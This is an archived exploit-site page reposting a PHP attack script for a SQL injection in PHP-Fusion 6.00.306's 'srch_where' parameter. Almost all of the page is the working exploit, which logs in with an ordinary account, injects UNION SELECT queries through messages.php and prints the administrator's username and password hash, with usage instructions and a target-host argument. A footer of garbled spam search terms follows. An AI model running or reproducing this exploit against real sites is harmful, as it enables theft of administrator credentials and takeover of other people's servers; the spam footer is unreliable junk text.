about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , PHP-Fusion <= 6.00.306 (srch_where) SQL Injection Exploit




2006-05-16 PHP-Fusion <= 6.00.306 (srch_where) SQL Injection Exploit
Rated as : Critical

#!/usr/bin/php -q -d short_open_tag=on
<?
echo "PHP-Fusion <= v6.00.306 \"srch_where\" SQL
Injection/Admin credentials disclosure\r\n";
echo "by rgod rgod@autistici.org\r\n";
echo "site: http://retrogod.altervista.org\r\n\r\n";

if ($argc<5) {
echo "Usage: php ".$argv[0]." host path user pass
OPTIONS\r\n";
echo "host:      target server (ip/hostname)\r\n";
echo "path:      path to PHP-Fusion\r\n";
echo "user/pass: you need an account\r\n";
echo "Options:\r\n";
echo "   -p[port]:    specify a port other than 80\r\n";
echo "   -P[ip:port]: specify a proxy\r\n";
echo "Example:\r\n";
echo "php ".$argv[0]." localhost /fusion/ username
password\r\n";
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n";
$exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to
".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}

$host=$argv[1];
$path=$argv[2];
$user=$argv[3];
$pass=$argv[4];
$port=80;
$proxy="";
for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo
'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

echo "step 1 -> login...\r\n";
$data ="user_name=".urlencode(trim($user));
$data.="&user_pass=".urlencode(trim($pass));
$data.="&login=Login";
$packet="POST ".$p."news.php HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg,
image/pjpeg, application/x-shockwave-flash, application/msword,
*/*\r\n";
$packet.="Referer:
http://".$host.$path."news.php\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Keep-Alive\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: fusion_visited=yes;
PHPSESSID=44ab49664b56b97036425427b1ffb8cf\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(' ',$temp[1]);
$cookie=$temp2[0];
echo 'Your cookie -> '.$cookie."\r\n\r\n";
if ($cookie=='') {die("Unable to login...");}

echo "step 2 -> inject some code in srch_where
argument...\r\n";
$sql="999999 UNION SELECT
0,0,0,user_name,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
FROM fusion_users WHERE user_level=103/*";
$sql=urlencode($sql);
$packet ="GET
".$p."messages.php?folder=inbox&show=_&srch_where=".$sql."
HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
$temp=explode("messages.php?msg_view=",$html);
$temp2=explode(">",$temp[1]);
$temp=explode("<",$temp2[1]);
$admin=$temp[0];
echo "admin: ".$admin."\r\n";

$sql="999999 UNION SELECT
0,0,0,user_password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
FROM fusion_users WHERE user_level=103/*";
$sql=urlencode($sql);
$packet ="GET
".$p."messages.php?folder=inbox&show=_&srch_where=".$sql."
HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
$temp=explode("messages.php?msg_view=",$html);
$temp2=explode(">",$temp[1]);
$temp=explode("<",$temp2[1]);
$hash=$temp[0];
echo "hash:  ".$hash."\r\n";
?>
securitydot.net - 2006-05-16

Advertising

Copyright 2007, SecurityDot
Mon, 30 Nov 2009 22:25:17 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
plr18 sexy video Crack Data news for C aflam.sxs modules www.kiisfm opan sex sunade c muder Microsoft Crack Data Crack Data pink-filmh Crack Data port+7.htm www.bjdabx bur show sex f video-seve www.mmm100 Tagger LE. Crack Data mambo Remo bugil gadi Local root WWW.HAIFA. open vpn ULN xyk.shenzh mambo Remo SSL inject mattressma arabgay sex prons Crack Data brynn broo Sex toys The Egept hello PHP Multip Vidio klip www.xinyix lo491l mambo Remo humosex news for / ___ ______ all cartoo www shakir